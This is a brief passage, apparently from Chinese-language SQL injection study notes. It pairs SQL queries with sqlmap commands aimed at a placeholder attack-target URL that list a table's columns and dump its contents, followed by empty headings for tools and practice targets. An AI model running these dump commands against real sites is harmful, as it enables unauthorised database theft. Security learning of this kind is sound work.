WHERE OWNER='資料庫名稱' AND TABLE_NAME='資料表名稱';
sqlmap -u "攻擊目標網址" --batch -D 資料庫名稱 -T 資料表名稱 --columns
取得資料表內容 select *
from 資料庫名稱.資料表名稱;
sqlmap -u "攻擊目標網址" --batch -D 資料庫名稱 -T 資料表名稱 --dump

image

相關工具

練習靶機

相關連結

自我補充